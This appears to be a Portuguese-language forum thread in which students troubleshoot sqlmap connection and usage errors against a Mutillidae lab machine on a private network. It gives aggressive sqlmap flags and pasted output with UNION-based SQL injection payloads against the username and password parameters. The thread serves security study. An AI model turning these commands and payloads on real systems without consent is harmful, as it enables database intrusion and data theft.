Erro no Sqlmap

A máquina 192.168.1.7 aparentemente finalizou ou algo neste sentido.

Opa, boa tarde!

Pior que não, a maquina ip 7, responde ping e consigo acessar a aplicação web dela normal.

tenta usar com a opção: --random-agent

O sqlmap achou a vulnerabilidade, mas não ouve retorno pois vc não passou o --dbs

deve funcionar se passar: --dbs --random-agent --level 5 --risk 3

Opa, obrigado galera. Vou testar.

Boa noite pessoal,

Acredito que não sabendo utilizar os parâmetros do Sqlmap. Conseguem me ajudar em como deve ficar?

estou tendo o mesmo problema quando uso o comando sqlmap -u "http://..." --tables -D nowasp, me retona unable to connext to the target URL quando tempo um ping para o ip da maquina do servidor ele ocorre normalmente com sucesso

Eu estou tendo estes problemas também em todas as opções do sqlmap da erro ja tendei todas essas formas indicadas no fórum e ainda assim não consigo avançar

        ┌──(kali㉿kali)-[~]

└─$ sqlmap -u "http://192.168.100.225/mutillidae/index.php?page=user-info.php&username=admin&password=123&user-info-php-submit-button=View+Account+Details" --random-agent _ __H _ _[,]___ _ _ {1.6.4#stable}|_ -| . [(] | .'| . ||_|_ [(]|_||_,| _| ||V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 18:02:35 /2022-06-29/

[18:02:35] [INFO] fetched random HTTP User-Agent header value 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.52' from file '/usr/share/sqlmap/data/txt/user-agents.txt'[18:02:35] [INFO] testing connection to the target URL you have not declared cookie(s), while server wants to set its own ('PHPSESSID=9ifd8r1f0qs...01fokn25f6;showhints=1'). Do you want to use those [Y/n] y

sqlmap resumed the following injection point(s) from stored session:

Parameter: username (GET) Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: page=user-info.php&username=admin' UNION ALL SELECT NULL,NULL,NULL,CONCAT(CONCAT('qvkvq','fJKprTlZcyGRulYgvPmYSZOxYpGncsZieVJbKffM'),'qbkxq'),NULL,NULL,NULL-- yACI&password=&user-info-php-submit-button=View Account Details

Parameter: password (GET) Type: UNION query Title: Generic UNION query (NULL) - 7 columns

Payload: page=user-info.php&username=admin&password=' UNION ALL SELECT NULL,CONCAT(CONCAT('qvkvq','QChOJYvKoJfCKuRFfYNLHeRPsnvjWawKaJdhnokU'),'qbkxq'),NULL,NULL,NULL,NULL,NULL-- jPUH&user-info-php-submit-button=View Account Details

there were multiple injection points, please select the one to use for following injections: [0] place: GET, parameter: username, type: Single quoted string (default) [1] place: GET, parameter: password, type: Single quoted string [q] Quit